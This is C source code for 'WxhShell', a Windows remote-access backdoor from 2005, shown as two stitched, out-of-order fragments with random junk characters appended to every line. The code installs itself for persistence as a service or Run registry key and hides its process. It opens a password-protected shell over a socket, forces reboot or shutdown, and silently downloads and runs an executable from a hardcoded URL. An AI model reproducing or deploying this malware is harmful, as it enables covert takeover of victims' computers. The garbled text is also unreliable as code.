    if(Boot(SHUTDOWN)) o4g<[X)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sCF7K=a  
    else { *|DIG{  
    closesocket(wsh); Ood'kAH1B  
    ExitThread(0); 9#AsSbBpf  
    } k(v8zDq*  
    break; "x$RTuWA9  
    } C4ut!I #  
  // 获取shell 'of5v6:8  
  case 's': { );.q:"  
    CmdShell(wsh); g)Byd\DS  
    closesocket(wsh); &i~AXNw  
    ExitThread(0); : *Nvy={c  
    break; hA81(JWG  
  } 2W=( {e)$  
  // 退出 6:Nz=sw8  
  case 'x': { cn4C K. ?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G;%Pf9 o26  
    CloseIt(wsh); 6T_Mk0Sf+  
    break; "A_W U|  
    } >cPB:kD'  
  // 离开 Sr`gQ#b@r}  
  case 'q': { ;=.QT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _ .%\czO  
    closesocket(wsh); M7(vI4V  
    WSACleanup(); 0Up@+R2  
    exit(1); $MmCh&V  
    break; .qioEqK8!y  
        } ReCmv/AE  
  } d&p]O  
  } aO]0|<2 j  
t?0D*!D  
  // 提示信息 rwlV\BU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AVR9G^ce_  
} 2dr[0tE  
  } y/m^G=Q6g#  
 |Aw(v6  
  return; ,Jf)A/_  
} d/GP.d  
J(\"\Z  
// shell模块句柄 "b!QE2bRO  
int CmdShell(SOCKET sock) _ID2yJ   
{ Oifu ?f<r  
STARTUPINFO si; X"W%(x`w  
ZeroMemory(&si,sizeof(si)); PomX@N}1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6?0 ^U 9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .Jz$)R  
PROCESS_INFORMATION ProcessInfo; "9 -duDg  
char cmdline[]="cmd"; Y'n TyH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HB4Hz0Fa  
  return 0; HlB'yOHv!  
} D4m2*%M  
X?b]5?K;r  
// 自身启动模式 & CiUU  
int StartFromService(void) Hm+-gI3*  
{ ,XW6W&vR;  
typedef struct sa`7_KB  
{ $.}fL;BzVz  
  DWORD ExitStatus; \>j._#t$h  
  DWORD PebBaseAddress; TD-d5P^Kek  
  DWORD AffinityMask; !b*lL#s,Y  
  DWORD BasePriority; ctOC.  
  ULONG UniqueProcessId; 'f<0&Ci8  
  ULONG InheritedFromUniqueProcessId; 8 F'i5i  
}   PROCESS_BASIC_INFORMATION; -uiZp !  
/'=C<HSO  
PROCNTQSIP NtQueryInformationProcess; GG\]}UjX  
&G@*/2A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SMQuJ_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 56*}}B$?  
M"K$81  
  HANDLE             hProcess; :eI .E:/'  
  PROCESS_BASIC_INFORMATION pbi; vZC2F  
x!q$`zF\\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,SJB 3if  
  if(NULL == hInst ) return 0; kF~}htv.=  
qyc:;3?wm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GD|uU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )vsiX}3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K,' ]G&K  
Zb7KHKO{  
  if (!NtQueryInformationProcess) return 0; KMznl=LF  
(@O F Wc"p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A $W,#`E  
  if(!hProcess) return 0; !a3cEzs3  
]}F_nc2L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Tn/ 3`j {  
'oHtg @  
  CloseHandle(hProcess);  KEsMes(*  
~,Q+E8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _U$d.B'*)z  
if(hProcess==NULL) return 0; !O)Ruwy  
!$St=!  
HMODULE hMod; G3 #c  
char procName[255]; i}RxTmG<  
unsigned long cbNeeded; #:z.Br`  
DI9x] CR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p0uQ>[NV0  
0<Px 2/  
  CloseHandle(hProcess); }Fyf?TZ$T  
1c,$D5#  
if(strstr(procName,"services")) return 1; // 以服务启动 ,g{`M]Ov  
TH)gW  
  return 0; // 注册表启动 G F,/<R#  
} 1d|+7  
1I KDp]SN  
// 主模块 A;w,m{9<  
int StartWxhshell(LPSTR lpCmdLine) 'HkV_d[li  
{ eUVE8pZl  
  SOCKET wsl; F)lDK.  
BOOL val=TRUE; rjQV;kX>  
  int port=0; &~G>pvZ  
  struct sockaddr_in door; \x)T_]Gcm  
zXvAW7  
  if(wscfg.ws_autoins) Install(); ;-@^G 3C:  
w^NE`4 -  
port=atoi(lpCmdLine); &iL"=\#  
3yDa5q{  
if(port<=0) port=wscfg.ws_port; [1dlV/  
RMmDcvM"k  
  WSADATA data; # o)a`,f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [Pby  d  
pb}QP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e!ar:>T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vz,l{0 v  
  door.sin_family = AF_INET; .'p_j(uv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +l2{EiQw  
  door.sin_port = htons(port); 1>4'YMdZi  
S!2M?}LU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *xM4nUu<~  
closesocket(wsl); yu<sd}@  
return 1; %ztCcgu*  
} JpD<2Mz_|V  
_%;$y5]v  
  if(listen(wsl,2) == INVALID_SOCKET) { OYgD9T.8^  
closesocket(wsl); 3F[z]B  
return 1; 1N1MD@C?P  
} 4{X5ZS?CkI  
  Wxhshell(wsl); 5)2lZ(5.A#  
  WSACleanup(); :Y0*P  
U=QV^I Qm  
return 0; =5oE|F%  
,S2D/Y^>  
} H{E223  
d5\w'@Di  
// 以NT服务方式启动 c@~\ FUr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W7S`+Pq  
{ 7P?z{x':T  
DWORD   status = 0; 0tC+?  
  DWORD   specificError = 0xfffffff; w=s:e M@  
bwqla43gX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !GURn1vcAe  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xYRN~nr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yK_$6EtNKj  
  serviceStatus.dwWin32ExitCode     = 0; Nqk*3Q"f  
  serviceStatus.dwServiceSpecificExitCode = 0; -k|r#^(G2  
  serviceStatus.dwCheckPoint       = 0; k!>MZ  
  serviceStatus.dwWaitHint       = 0; ),mKEpf  
+tkDT@ `  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,sn ?V~)  
  if (hServiceStatusHandle==0) return; BEx? bf@|]  
dG'aJQw  
status = GetLastError(); weU'3nNN  
  if (status!=NO_ERROR) A|I7R -  
{ T'  %TMA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |#LU"D  
    serviceStatus.dwCheckPoint       = 0; GP<A v1  
    serviceStatus.dwWaitHint       = 0; 9sFZs]uM  
    serviceStatus.dwWin32ExitCode     = status; G}&B{Ir  
    serviceStatus.dwServiceSpecificExitCode = specificError; e]'ui<`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6x^#|;e>lI  
    return; y-)|u:~h  
  } &{]zL  
#pErGz'{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^J< I Ia4  
  serviceStatus.dwCheckPoint       = 0; WOrz7x  
  serviceStatus.dwWaitHint       = 0; )AEJ` xC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G?jKm_`L  
} PF2PMEBx!  
*R m>bLI  
// 处理NT服务事件,比如:启动、停止 75u/'0~5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mQhI"3! f  
{ 9i*t3W71]  
switch(fdwControl) a"EX<6"  
{ %YlL-*7 L  
case SERVICE_CONTROL_STOP: L%}k.)yev  
  serviceStatus.dwWin32ExitCode = 0; z Xx HaM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d`5xd@p  
  serviceStatus.dwCheckPoint   = 0; Fo=Icvo  
  serviceStatus.dwWaitHint     = 0; (, /`*GC  
  { CH[U.LJQ-O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =J&vr  
  } 'X d_8.  
  return; s {p-cV  
case SERVICE_CONTROL_PAUSE: W,9. z%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $l@nk@  
  break; oDogM`T`  
case SERVICE_CONTROL_CONTINUE: {`2! 3= "  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T!0o(Pp<  
  break; rkugV&BhV  
case SERVICE_CONTROL_INTERROGATE: )y4bb^;z  
  break; ON.C%-T-  
}; 5R\{&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "j;"\i0  
} b R> G%*a  
"SJp9s3  
// 标准应用程序主函数 [KR|m,QWp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ? C1.g'}7  
{ 8/F}vfKEN  
+!h~T5Ck  
// 获取操作系统版本 {+%|n OWV  
OsIsNt=GetOsVer(); l2vIKc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dmI~$*  
 +:k Iq  
  // 从命令行安装 b;G3&R]  
  if(strpbrk(lpCmdLine,"iI")) Install(); -c|dTZ8D)8  
&TJMopVn  
  // 下载执行文件 X|zQZ<CO  
if(wscfg.ws_downexe) { Hof@,w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) meey5}  
  WinExec(wscfg.ws_filenam,SW_HIDE); r6S-G{o  
} XVr>\T4  
QVLv}w`O  
if(!OsIsNt) { z*n  
// 如果时win9x,隐藏进程并且设置为注册表启动 Yef=HSzo  
HideProc(); (8T36pt~  
StartWxhshell(lpCmdLine); `Sgj!/! F  
} "Zm**h.t  
else & mwQj<Z  
  if(StartFromService()) m}ZkNWH  
  // 以服务方式启动 E[q:65xl  
  StartServiceCtrlDispatcher(DispatchTable); E-gI'qG\(  
else {w:*t)@j  
  // 普通方式启动 U4)x"s[CP  
  StartWxhshell(lpCmdLine); :0@R(ct;>  
/e5' YVP  
return 0; cq:<,Ke  
} zG-pqE6  
fy9mS  
011 N  
DQ%bcXs  
=========================================== Q+@/.qJ  
[A~n=m5H  
k{\wjaf)  
DwSB(O#X  
Q^13KWvuV  
p[oR4 HWr  
" <L'!EcHm%]  
4SRjF$Bsz  
#include <stdio.h> eb1WTK@  
#include <string.h> ?.Iau/  
#include <windows.h> QA|87alh  
#include <winsock2.h> TQ`s&8"P  
#include <winsvc.h> UU\wP(f  
#include <urlmon.h> VWhq +8z  
|Y|6`9;  
#pragma comment (lib, "Ws2_32.lib") QAGR\~  
#pragma comment (lib, "urlmon.lib") cPaz-  
9dS<^E(ZF  
#define MAX_USER   100 // 最大客户端连接数 cdd6*+E  
#define BUF_SOCK   200 // sock buffer 6sceymq  
#define KEY_BUFF   255 // 输入 buffer p+x}$&<|  
6=N!()s  
#define REBOOT     0   // 重启 RJ}%pA4I  
#define SHUTDOWN   1   // 关机 yM,.{m@F<  
. -ihxEbzr  
#define DEF_PORT   5000 // 监听端口 qmmQH S  
^.3(o{g  
#define REG_LEN     16   // 注册表键长度 )<ig6b%  
#define SVC_LEN     80   // NT服务名长度 U$,-F**  
m[aBHA^g  
// 从dll定义API iA.:{^_)09  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YQ? "~[mL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +az=EF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !AR@GuQPE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vciO={M  
d23;c )'  
// wxhshell配置信息 .+3~ w  
struct WSCFG { >wSrllmj@  
  int ws_port;         // 监听端口 S?Y%}  
  char ws_passstr[REG_LEN]; // 口令 oS>VN<  
  int ws_autoins;       // 安装标记, 1=yes 0=no !LI 8Xk  
  char ws_regname[REG_LEN]; // 注册表键名 DP@F-Q4  
  char ws_svcname[REG_LEN]; // 服务名 jJ.isr|`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ATRB9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wWYo\WH'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gh9Gc1tKt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Pzt 5'O@dA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ] 6Y6q])Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x)+ q$FB  
 " fXs!  
}; Pk ?M~{S  
4H9mKR  
// default Wxhshell configuration i<\WRzVT  
struct WSCFG wscfg={DEF_PORT, #'y4UN  
    "xuhuanlingzhe", Dpb prT7_  
    1, _ASyGmO{  
    "Wxhshell", evSr?ys  
    "Wxhshell", } "QL"%  
            "WxhShell Service", Wf!u?nH.5  
    "Wrsky Windows CmdShell Service", $y$E1A6h+  
    "Please Input Your Password: ", Z Jgy!)1n  
  1, '_q&~M{  
  "http://www.wrsky.com/wxhshell.exe", t~v_k\` {  
  "Wxhshell.exe" E$"`|Df  
    }; Sdzl[K/}  
0{^ 0>H0  
// 消息定义模块 qtR/K=^i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )U|0vr8:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~o8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `g}po%k  
char *msg_ws_ext="\n\rExit."; @|2sF  
char *msg_ws_end="\n\rQuit."; '"m-kor  
char *msg_ws_boot="\n\rReboot..."; f]4j7K!e]  
char *msg_ws_poff="\n\rShutdown..."; r}S>t~p:  
char *msg_ws_down="\n\rSave to "; j^5VmG  
byJR6f  
char *msg_ws_err="\n\rErr!"; SX)o0v+  
char *msg_ws_ok="\n\rOK!"; =D3K})&  
2F&VG|"  
char ExeFile[MAX_PATH]; 9Zj9e  
int nUser = 0; jp+s[rRc\{  
HANDLE handles[MAX_USER]; 4k_y;$4WN  
int OsIsNt; % <1&\5f<5  
cj;k{ Moc  
SERVICE_STATUS       serviceStatus; $Wn!vbL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @ JfQ}`  
'O^<i`8U]  
// 函数声明 *";O_ :C!  
int Install(void); k0bDEz.X  
int Uninstall(void); 1v~1?+a\2  
int DownloadFile(char *sURL, SOCKET wsh); X..<U}e  
int Boot(int flag); {>Yna"p  
void HideProc(void); DCP B9:u  
int GetOsVer(void); Lk lD^AJA  
int Wxhshell(SOCKET wsl); Uz_OUTFM  
void TalkWithClient(void *cs); G,X>f?  
int CmdShell(SOCKET sock); 2cQG2N2*  
int StartFromService(void); ,p' ;Xg6ez  
int StartWxhshell(LPSTR lpCmdLine); ubs>(\`q"  
s}lp^Uh=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +.J/7 gD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `f<&=_,xfH  
3f-J%!aH  
// 数据结构和表定义  myOdf'=  
SERVICE_TABLE_ENTRY DispatchTable[] = ;q33t% j  
{ Sa9p#OQ  
{wscfg.ws_svcname, NTServiceMain}, FY9nVnIoI  
{NULL, NULL} *v#Z/RrrA  
}; T+j-MR}{\  
VQ7A"&hh  
// 自我安装 rI#,FZ  
int Install(void) cU_:l.b  
{ duV\Kt/g^  
  char svExeFile[MAX_PATH]; 4?33t] "  
  HKEY key; HSj=g}r  
  strcpy(svExeFile,ExeFile); DQ.;2W  
z P8rW5/  
// 如果是win9x系统,修改注册表设为自启动 q uL+UFuM  
if(!OsIsNt) { 7r{159&=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |wM<n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \C kb:  
  RegCloseKey(key); M@=VIrX,m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _/z3QG{Ea^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hrg -5_  
  RegCloseKey(key); 19;Pjo8  
  return 0; ==npFjB  
    } ('6sW/F*ab  
  } R*O<(  
} Gt$PBlq0  
else { L2IY$+=M  
p5Wz.n.<'  
// 如果是NT以上系统,安装为系统服务 b *Ca*!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |xFSGrC  
if (schSCManager!=0) }qg.Go  
{ m](q,65 2  
  SC_HANDLE schService = CreateService JN-W`2  
  ( -ZH6*7!  
  schSCManager, HX#$ ^@Q(  
  wscfg.ws_svcname, ,CIsZ1[VS  
  wscfg.ws_svcdisp, KkZS6rD\  
  SERVICE_ALL_ACCESS, dmYgv^t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z#zXary5s  
  SERVICE_AUTO_START, 5}4>vEn  
  SERVICE_ERROR_NORMAL, %\B@!4]  
  svExeFile, M7.H;.?  
  NULL, \ZtF,`Z  
  NULL, \hD jZ  
  NULL, /Jc54d  
  NULL, Yan,Bt{YJ  
  NULL d`3>@*NR<  
  ); $D m|ol.Z  
  if (schService!=0) A>C8whx  
  { ,&LGAa  
  CloseServiceHandle(schService); O4oI&i 7  
  CloseServiceHandle(schSCManager); nEgYypwr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4Un%p7Y~  
  strcat(svExeFile,wscfg.ws_svcname); ;3&HZq6Z (  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Gj&`+!\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S\0?~l"}  
  RegCloseKey(key); :+Tvq,/"  
  return 0; Xz!O}M{4  
    } \<%?=C'w~  
  } JgMYy,q8t  
  CloseServiceHandle(schSCManager); P;K <P  
} jg3T1ROL  
} IzlmcP3  
g|<$ \}  
return 1; -"5r-qq*  
} s&L 6C[  
zRFvWOxC\  
// 自我卸载 -DWnDku8=  
int Uninstall(void) CD pLV:  
{ \@$V^;OP/  
  HKEY key; [&+5E1%L  
S8Yti  
if(!OsIsNt) { M,g$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y))x'<T'Q  
  RegDeleteValue(key,wscfg.ws_regname); ?@H/;hB[|  
  RegCloseKey(key); y\mK?eR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z+]YB5zK%  
  RegDeleteValue(key,wscfg.ws_regname); ok/{ w  
  RegCloseKey(key); 0[R7HX-@  
  return 0; w0,rFWS  
  } ~ekV*,R"  
} e VRjU  
} Jj7he(!_1  
else { Rz"gPU4;`  
.Lp\Jyegs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Pk^W+M_)~  
if (schSCManager!=0) +&.wc;mi  
{ RP%7M8V){B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kmM- >v  
  if (schService!=0) Cn.x:I@r  
  { :ywm4)  
  if(DeleteService(schService)!=0) { kZNVUhW6S  
  CloseServiceHandle(schService); x%%OgO +>  
  CloseServiceHandle(schSCManager); ^gY3))2_  
  return 0; ^ ^k]2oG  
  } %ql2 XAY  
  CloseServiceHandle(schService); Pvz\zRq  
  } Y(C-o[-N  
  CloseServiceHandle(schSCManager); V?N8 ,)j  
} t&H3yV  
} p_qJI@u8  
@WICAC=  
return 1; PLhlbzcf  
} d7qYz7=d  
HBcL1wfS  
// 从指定url下载文件 ~ ":}Rs  
int DownloadFile(char *sURL, SOCKET wsh) %Iv*u sXP  
{ ,o s M|!,  
  HRESULT hr; DgKe!w$  
char seps[]= "/"; 6Jd.Eg ~A7  
char *token; 17+2`@vJgM  
char *file; \pVWYx  
char myURL[MAX_PATH]; L]{1@~E:q  
char myFILE[MAX_PATH]; -}9>#<v  
b>f{o_  
strcpy(myURL,sURL); ok(dCAKP  
  token=strtok(myURL,seps); 2)(ynrCe  
  while(token!=NULL) Y *n[*N  
  { +K7oyZg  
    file=token; v_I)eac z  
  token=strtok(NULL,seps); /s "Lsbe  
  } S(Q=2Y  
Qb?e A  
GetCurrentDirectory(MAX_PATH,myFILE); st wxF?\NS  
strcat(myFILE, "\\"); 1hW"#>f7  
strcat(myFILE, file); 1Y{pf]5Wx  
  send(wsh,myFILE,strlen(myFILE),0); abkt&981K+  
send(wsh,"...",3,0); }S6"$R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &z?:s  
  if(hr==S_OK) rixt_}aE  
return 0; @h!nVf%fe  
else /7hC /!@  
return 1; 'ARbJ1a  
D\k'Eez  
} mcq.*at  
LyG&FOf?  
// 系统电源模块 rvp#[RAaS}  
int Boot(int flag) [xHHm5$  
{ MhZ\]CAs9  
  HANDLE hToken; d#-'DO{k  
  TOKEN_PRIVILEGES tkp; rVv4R/3+   
maVfLVx-  
  if(OsIsNt) { 3h`_Qv%g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Jo4iWJpK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \7] SG  
    tkp.PrivilegeCount = 1; H1-eMDe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i2X%xYv ^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BTDUT%Yfg  
if(flag==REBOOT) { vY!'@W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FS7@6I2Ts  
  return 0; oP_}C[  
} 1)hO!%  
else { tPaNhm[-q7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =_Ip0FfK!  
  return 0; ayr CLv  
} ;%!]C0 ?  
  } $HP<C>^Z8  
  else { I8Q!`K J  
if(flag==REBOOT) { o e,yCdPs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Xhp={p;  
  return 0; ^~7ouA  
} 9z kRwrQ  
else { f]48>LRE8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PdSYFJM  
  return 0; Z \>mAtm  
} ?<STl-]&  
} SYwB #|  
GL'l "L  
return 1; `%Dz 8Z  
} 8C8,Q\WV(~  
q}cm"lO$  
// win9x进程隐藏模块 )<[)7`  
void HideProc(void) [^0 S#,L  
{ pYz\GSd  
N;R I A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +{L=cWA"  
  if ( hKernel != NULL ) S,vh  
  { a~&euT2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  ,$(a,`s)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q#\4/Dt  
    FreeLibrary(hKernel); >!W H%J  
  } Dy|)u1?  
'f-8P  
return; /Jf}~}JP  
} >G}g=zy@  
Jsf"h-)P  
// 获取操作系统版本 $3]]<oH  
int GetOsVer(void) SGP)A(,k9  
{ 8:fq!m  
  OSVERSIONINFO winfo; U# U*^#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OCEhwB0  
  GetVersionEx(&winfo); N~tq ]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )jGB[s";)y  
  return 1; Cq[<CPAS  
  else OBL2W\{  
  return 0; < Wm'V-  
} *;[g Ga~  
(O"-6`w[  
// 客户端句柄模块 ^NXxMC( e+  
int Wxhshell(SOCKET wsl) ]h%~'8g,  
{ *AJYSa,z  
  SOCKET wsh; ]XEUD1N;I  
  struct sockaddr_in client; 2:G/Oj h&]  
  DWORD myID; dO4J f9)  
$7*@TMX  
  while(nUser<MAX_USER) R?HuDxHk  
{ eXi}-~o  
  int nSize=sizeof(client); 4(&sw<k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "2Q*-  
  if(wsh==INVALID_SOCKET) return 1; #+L:V&QE  
Z $Fm73  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R\-]t{t`  
if(handles[nUser]==0) YnlZyw!  
  closesocket(wsh); S|r,RBeZ  
else =w ! 6un  
  nUser++; ou=33}uO  
  } 5Kl;(0B9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sB wzb  
.4[M7)  
  return 0; D[dI_|59a  
} B7( bNr  
 =@! s[  
// 关闭 socket H1r8n$h  
void CloseIt(SOCKET wsh) +}iuTqu5  
{ b<j*;n.  
closesocket(wsh); 5M\bH'1  
nUser--; v]y=+* A  
ExitThread(0); "'~&D/7  
} 5DL(#9F8b9  
.*&F  
// 客户端请求句柄 &M7AM"9  
void TalkWithClient(void *cs) v)JS4KS  
{ !q 9PO  
RV),E:?  
  SOCKET wsh=(SOCKET)cs; xwojjiV  
  char pwd[SVC_LEN]; oZ>2Tt%  
  char cmd[KEY_BUFF]; B/I1<%Yk  
char chr[1]; v.F|8 cG  
int i,j; b\p2yJ\  
mD7kOOMY  
  while (nUser < MAX_USER) { 3&zcdwPj  
|?t}7V#[  
if(wscfg.ws_passstr) { {_ {zs!r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vngn^2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y%^qt]u.8  
  //ZeroMemory(pwd,KEY_BUFF); \m#{ {SGm  
      i=0; 28>/#I9/]  
  while(i<SVC_LEN) { IQQ>0^Q~  
]v#T9QQN  
  // 设置超时 Bo0f`EC I  
  fd_set FdRead; Cy6%f?j  
  struct timeval TimeOut; %7 $X *  
  FD_ZERO(&FdRead); j%i6H1#.Z  
  FD_SET(wsh,&FdRead); 9JJk\,  
  TimeOut.tv_sec=8; \: R Akf<  
  TimeOut.tv_usec=0; |#zj~>7?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5=Il2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (Q"~bP{F  
>cH}sNHy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7 lu_E.Bv  
  pwd=chr[0]; 4wPP/`  
  if(chr[0]==0xd || chr[0]==0xa) { {J-Ojw|Y b  
  pwd=0; H^+Znmo  
  break; e17]{6y  
  }  NmTo/5s  
  i++; ZQAiuea  
    } yT[)V[}  
,6aF~p;wI|  
  // 如果是非法用户,关闭 socket [y"Yi PK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yC[Q-P*rG  
} d 9]zB-A  
9yp'-RKjw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4P?@NJp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bJ]blnH  
B1TWOl?d{  
while(1) { B?9"Ztb  
]{18-=  
  ZeroMemory(cmd,KEY_BUFF); x!fgZr{  
Esf\Bo"  
      // 自动支持客户端 telnet标准   T=':$(t  
  j=0; gw<u dhk  
  while(j<KEY_BUFF) { P>'29$1'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lQpl8>  
  cmd[j]=chr[0]; D&1(qi=x&  
  if(chr[0]==0xa || chr[0]==0xd) { ]xPy-j6C  
  cmd[j]=0; ^G NL:D%6d  
  break; 36}&{A  
  } WQsu}_g5y  
  j++; .f`KP!p.  
    } "Iacs s0;  
jXIVR'n(  
  // 下载文件 { T?1v*.[  
  if(strstr(cmd,"http://")) { 8zQN[[#n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _% i!LyG  
  if(DownloadFile(cmd,wsh)) E+J+fi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (?ZS 9&y}  
  else Tj6kCB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ut.tf \c  
  } w`[`:H_z  
  else { :VE0eJ]J6  
